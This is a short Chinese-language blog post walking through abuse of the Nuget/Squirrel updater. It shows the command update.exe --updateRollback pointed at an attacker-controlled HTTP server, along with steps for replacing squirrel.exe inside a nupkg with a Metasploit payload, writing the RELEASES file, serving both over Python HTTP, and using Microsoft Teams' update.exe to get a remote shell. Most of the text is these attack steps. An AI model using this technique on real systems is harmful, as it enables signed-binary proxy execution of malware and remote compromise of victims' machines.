Nuget/Squirrel远程下载执行

前言

前几天在油管上看到一个视频是利用打包好的electron应用的update.exe文件远程下载执行程序
然后根据视频的内容我推断出他可能是自己写了一个electron应用然后把恶意代码放到main.js文件中然后打包成nupkg文件随后利用update.exe的–updateRollback参数远程下载执行自己的nupkg文件。
然后今天试了一下发现虽然也能成功执行但是效果并不同。

1
update.exe --updateRollback=http://xxxx/

我是执行完这条命令后虽然能够执行nupkg包的内容但是最后electron一定会退出进程(ps:和我写的没关系这是自带的功能),当然这里有其他的解决办法不过这里就不讲了

后来有一位群友问我是怎么把shell嵌入nupkg包内的,然后经过短暂的交流发现原来作者有发过一篇文章但是我没注意到。
随后在阅读了作者的文章发现他并不是将恶意代码嵌入nupkg包内而且替换nupkg包内\lib\net45\squirrel.exe的文件

正文

首先准备一个nupkg文件你可以自己写也可以去拆别的应用的(实战中请自己写保证文件不会过大)
因为我之前看视频的时候已经准备了一个electron应用了所以我直接打包就行
先是直接替换包内lib\net45\squirrel.exe的这个exe。我这里直接用msf生成的
然后准备一个RELEASES文件打开它向里面写入如下内容

1
B8F009563F51AA768374EB813181C4CCF70D320B electron-quick-start-1.0.0-full.nupkg 58027911

格式

1
SHA1 文件名 文件大小

准备好的两个文件

python开启http服务

1
py -2 -m SimpleHTTPServer

然后我这里就用微软开发的Teams_windows应用的update.exe

msf监听

执行命令

接收到shell

参考:
https://www.youtube.com/watch?v=0NrEdt00xic
https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12